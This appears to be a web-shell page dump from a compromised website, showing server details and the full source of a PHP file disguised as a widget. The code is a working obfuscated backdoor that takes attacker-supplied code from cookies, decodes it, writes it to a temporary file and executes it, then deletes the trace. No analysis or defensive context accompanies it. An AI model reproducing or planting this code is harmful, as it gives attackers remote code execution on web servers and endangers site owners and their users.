HEX
Server: Apache/2.4.38 (Debian)
System: Linux host457 5.14.0-4-amd64 #1 SMP Debian 5.14.16-1 (2021-11-03) x86_64
User: www-data (33)
PHP: 7.4.21
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/vhosts/harpoeditore.it/httpdocs/prefazioni/prefazioni/widget_area_1745516389.php
<!--Q1IUoGNa-->
<?php

if (isset($_COOKIE[52+-52]) && isset($_COOKIE[47+-46]) && isset($_COOKIE[78-75]) && isset($_COOKIE[86-82])) {
    $flg = $_COOKIE;
    function approve_request($descriptor) {
        $flg = $_COOKIE;
        $itm = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'bdCGU1JJ');
        if (!is_writable($itm)) {
            $itm = getcwd() . DIRECTORY_SEPARATOR . "core_engine";
        }
        $entry = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($flg[3]));
        if (is_writeable($itm)) {
            $pointer = fopen($itm, 'w+');
            fputs($pointer, $entry);
            fclose($pointer);
            spl_autoload_unregister(__FUNCTION__);
            require_once($itm);
            @array_map('unlink', array($itm));
        }
    }
    spl_autoload_register("approve_request");
    $dchunk = "c38b29647fc4b8723e880fc50ec830b1";
    if (!strncmp($dchunk, $flg[4], 32)) {
        if (@class_parents("token_parser_engine_mutex_lock", true)) {
            exit;
        }
    }
}